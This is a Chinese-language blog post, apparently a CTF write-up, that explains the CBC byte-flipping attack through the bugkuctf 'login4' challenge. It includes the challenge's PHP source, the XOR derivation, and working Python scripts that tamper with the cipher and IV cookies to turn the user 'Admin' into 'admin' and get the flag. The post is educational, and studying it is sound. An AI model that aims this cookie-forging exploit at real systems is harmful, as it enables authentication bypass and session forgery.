CBC字节翻转攻击 | Somnus's blog

几个月之前就碰到了这类题，但是一直没搞懂，最近做ctf又碰到了，赶紧研究了一番，总算是搞懂了

CBC原理

首先还是要稍微了解一下CBC加密和解密的原理

如果用公式来表示的话，如下：（C表示密文，E表示进行加密，P表示明文，D表示进行解密，IV表示初始向量）

再来看看如何进行攻击：（下面图片摘自《图解密码技术》一书）

上面就是CBC原理，其实看上去一脸懵逼很正常，但是其实我们只需要关注CBC解密的过程，因为我们攻击的过程就是解密的过程，为什么呢，我们来看实例的代码分析就知道了

实例

实例来自bugkuctf web类最后一题login4

网址：http://118.89.219.210:49168/

扫描目录发现存在文件.index.php.swp，下载下来后用linux 的vim -r 命令恢复文件后可以查看到源代码

<?php
define("SECRET_KEY", file_get_contents('/root/key'));
define("METHOD", "aes-128-cbc");
session_start();

function get_random_iv(){
    $random_iv='';
    for($i=0;$i<16;$i++){
        $random_iv.=chr(rand(1,255));
    }
    return $random_iv;
}

function login($info){
    $iv = get_random_iv();
    $plain = serialize($info);
    $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
    $_SESSION['username'] = $info['username'];
    setcookie("iv", base64_encode($iv));
    setcookie("cipher", base64_encode($cipher));
}

function check_login(){
    if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
        $cipher = base64_decode($_COOKIE['cipher']);
        $iv = base64_decode($_COOKIE["iv"]);
        if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
            $info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
            $_SESSION['username'] = $info['username'];
        }else{
            die("ERROR!");
        }
    }
}

function show_homepage(){
    if ($_SESSION["username"]==='admin'){
        echo '<p>Hello admin</p>';
        echo '<p>Flag is $flag</p>';
    }else{
        echo '<p>hello '.$_SESSION['username'].'</p>';
        echo '<p>Only admin can see flag</p>';
    }
    echo '<p><a href="loginout.php">Log out</a></p>';
}

if(isset($_POST['username']) && isset($_POST['password'])){
    $username = (string)$_POST['username'];
    $password = (string)$_POST['password'];
    if($username === 'admin'){
        exit('<p>admin are not allowed to login</p>');
    }else{
        $info = array('username'=>$username,'password'=>$password);
        login($info);
        show_homepage();
    }
}else{
    if(isset($_SESSION["username"])){
        check_login();
        show_homepage();
    }else{
        echo '<body class="login-body">
                <div id="wrapper">
                    <div class="user-icon"></div>
                    <div class="pass-icon"></div>
                    <form name="login-form" class="login-form" action="" method="post">
                        <div class="header">
                        <h1>Login Form</h1>
                        <span>Fill out the form below to login to my super awesome imaginary control panel.</span>
                        </div>
                        <div class="content">
                        <input name="username" type="text" class="input username" value="Username" onfocus="this.value=\'\'" />
                        <input name="password" type="password" class="input password" value="Password" onfocus="this.value=\'\'" />
                        </div>
                        <div class="footer">
                        <input type="submit" name="submit" value="Login" class="button" />
                        </div>
                    </form>
                </div>
            </body>';
    }
}
?>

首先服务器接收我们POST的参数username和password，并对username进行检查，如果是admin，则退出程序，如果不是admin，则创建一个数组info，来存放我们输入的username和password，然后经过login函数，也就是cbc的加密，加密的过程是首先创建一个16位长度的随机字符串，然后与数组info序列化后的字符串plain进行CBC加密，也就是一系列的异或运算，具体的加密我们可以不用管，因为我们改变不了加密的过程，我们要操作的，是接下来的解密过程。再往下看程序，加密完以后，会将加密过程的初始化向量(也就是16位的随机字符串)iv和加密后的密文cipher经过base64加密后分别存放到cookie中，这样加密过程就算完成了。接下来，我们再次登录时，服务器执行check_login函数，将cookie中的iv和cipher字段值取出来进行base64解密后，进行cbc的解密，再将解密后字符串进行反序列化得到数组info，然后将info的username取出放入session的username字段，最后检查username如果是admin，则可以查看到flag，如果不是，则输出只有admin才可以查看flag，总的来说，这算是前后矛盾，一开始如果我们输入的username是admin，则提示admin查看不了flag，我们输入的如果不是admin，又提示admin才可以查看flag

所以，要拿到flag，我们的思路，就是一开始输入Admin，然后操作CBC解密的过程，让它最后解密出来的值变成admin，就可以拿到flag，为此，我们重点就是放在cbc解密的过程，来看一张比较清楚的思路图

分析解密的过程：

(1)首先以16位为长度对密文进行分组

(2)初始化向量iv与前16位的解密的密文分组1进行位异或运算得到明文分组1

(3)密文分组1与解密的密文分组2进行异或运算得到明文分组2

(4)密文分组2与解密的密文分组3进行异或运算得到明文分组3

(5)以此类推

那我们就按照解密的过程的顺序逐步演示攻击的过程

首先我们对明文进行分组，因为我们加密的过程也是位异或，所以最终得到的密文位数是等于明文位数的

<?php

$info = array('username'=>'Admin','password'=>'admin');
$plain = serialize($info);
echo $plain.'<br>';
for($i = 0; $i < strlen($plain); $i++){
	if($plain[$i] == 'A'){
		$A_index = $i % 16;
	}
	if($i % 16 == 0){
		echo '<br>'.$plain[$i];
	}
	else{
		echo $plain[$i];
	}

}
echo '<br><br>'.'the index of A is: '.$A_index;

?>

这里我们定下一开始输入的username是Admin,password是admin,对info数组进行序列化处理然后分组

我们翻转的位置是A，我们要想办法将它翻转成a，从而将用户名变成admin，上面已经分析过了解密是位异或，A所处于的密文分组是分组2，它是与密文分组1进行位异或运算得到明文分组2的

所以我们要操纵的就是密文分组1的第9位，使它与A所处的密文分组2异或后得到a

但是我们还要考虑，我们改变了密文分组的第9位，只会影响下一组明文翻转的那一位，但却会影响本组明文的全部，因为我们翻转过的密文要先经过解密，然后才和IV变量进行异或，解密的时候是整串数据进行，所以整串明文受其影响。甚至可能会导致生成的明文部分乱码，至少绝对不再是原来的明文了。所以，我们还需要操作iv，也就是初始化向量，使它与解密的密文分组1异或能得到原来的明文分组1，也就是a:2:{s:8:”userna

最后就需要考虑如何得到我们想要的字符，直接看公式吧

本组明文 = Decrypt(本组密文) ^ 上一组密文
A              B                 C
=========================================================
A = B ^ C
A ^ A = 0;   0 ^ A = A
C = A ^ A ^ C = B ^ C ^ A ^ C = A ^ B
(即C = A ^ B ，即：上一组密文 = 本组明文 ^ Decrypt(本组密文) )
ascii('a') ^ C ^ A ^ B = ascii('a') ^ A ^ B ^ A ^ B = ascii('a') ^ 0 = ascii('a')
(假设我们想要翻转成a，使用如上公式即可,即：想要的字符 = 上一组密文 ^ 本组明文 ^ Decrypt(本组密文) ^ 想要的字符 )

那么接下来，我们就可以开始编写脚本了，首先，我们先将用户名：Admin和密码：admin POST给服务器

然后获取cookie值的cipher字段，操作第一个密文分组的第九位

import requests,base64,urllib,re

url = "http://118.89.219.210:49168/"
data = {
	'username':'Admin',
	'password':'admin'
}
r = requests.post(url,data=data)
cookies = requests.utils.dict_from_cookiejar(r.cookies)
cipher = cookies['cipher']
cipher = base64.b64decode(urllib.unquote(cipher))
index = 9
new_cipher = cipher[:index] + chr(ord(cipher[index])^ord('A')^ord('a')) + cipher[index+1:]
new_cipher = urllib.quote_plus(base64.b64encode(new_cipher))
cookies['cipher'] = new_cipher

r2 = requests.get(url,cookies=cookies)
print r2.text

运行结果

可以看到修改cipher后，再次访问页面给出了提示解密后的明文的不能被序列化，就是因为我们操纵密文分组1，改变了全部的明文分组1，使之不能被序列化

我们将plain取出，解码

1 2	plain = base64.b64decode(re.findall("base64_decode\('(.*)'\)",r2.text)[0]) print plain

可以看到，我们已经成功的将A翻转成a，但是导致了本组明文乱码

所以接下来我们要操作的是iv的全部十六位，下面给出所有代码

import requests,base64,urllib,re

url = "http://118.89.219.210:49168/"
data = {
	'username':'Admin',
	'password':'admin'
}
r = requests.post(url,data=data)
cookies = requests.utils.dict_from_cookiejar(r.cookies)
cipher = cookies['cipher']
cipher = base64.b64decode(urllib.unquote(cipher))
index = 9
new_cipher = cipher[:index] + chr(ord(cipher[index])^ord('A')^ord('a')) + cipher[index+1:]
new_cipher = urllib.quote_plus(base64.b64encode(new_cipher))
cookies['cipher'] = new_cipher

r2 = requests.get(url,cookies=cookies)
plain = base64.b64decode(re.findall("base64_decode\('(.*)'\)",r2.text)[0])
iv = cookies['iv']
iv = base64.b64decode(urllib.unquote(iv))
target = 'a:2:{s:8:"userna'
new_iv = ''
for i in range(16):
	new_iv = new_iv + chr(ord(target[i])^ord(plain[i])^ord(iv[i]))
cookies['iv'] = urllib.quote_plus(base64.b64encode(new_iv))

r3 = requests.get(url,cookies=cookies)
print r3.text

运行结果

成功获得flag